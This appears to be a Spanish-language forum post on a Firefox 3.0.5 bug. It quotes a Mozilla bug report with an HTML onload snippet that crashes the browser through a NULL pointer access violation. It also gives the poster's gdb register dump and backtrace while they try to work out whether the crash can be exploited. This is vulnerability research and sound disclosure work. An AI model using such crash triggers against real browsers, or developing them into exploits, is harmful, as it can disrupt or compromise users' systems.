Pues si, al parecer cualquier Firefox 3.0.5 va a terminar siendo vulnerable.
Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.0.5) Gecko/2008121922 Firefox/3.0.5
Bien lo dice la web:
Reproducible: Always
Steps to Reproduce:
1. Load the supplied URL in FireFox 3
or
1. Create a HTML file with this contents:
<BODY onload="
document.designMode='on';
document.replaceChild(document.createElement('HTML'), document.firstChild);
document.queryCommandValue('backcolor');
">
2. Load the file in FireFox 3.
Actual Results:
NULL pointer Access Violation
Lo ultimo:
NULL pointer Access Violation en mi casi si trato de saltar a algun lugar de la memoria, sin embargo no se como maneje la memoria cargada, por lo tanto no se si sea controlable.
Anon@localhost % gdb `where is firefox3` ./firefox-bin.core
GNU gdb 6.1.1 [FreeBSD]
...
Core was generated by `firefox-bin`.
Program terminated with signal 11, Segmentation fault.
#0 0x299dd5cb in ?? ()
(gdb) i r
eax 0x0 0
ecx 0x2 2
edx 0xbfbfc4cc -1077951284
ebx 0x2999672c 697919276
esp 0xbfbfc47c 0xbfbfc47c
ebp 0xbfbfc498 0xbfbfc498
esi 0xb 11
edi 0xb 11
eip 0x299dd5cb 0x299dd5cb
eflags 0x212 530
cs 0x33 51
ss 0x3b 59
ds 0x3b 59
es 0x3b 59
fs 0x3b 59
gs 0x1b 27
(gdb) bt
#0 0x299dd5cb in ?? ()
#1 0x29991386 in ?? ()
#2 0x00018731 in ?? ()
#3 0x0000000b in ?? ()
...
Seguiré Investigando
Saludos.
Autor
En línea
.
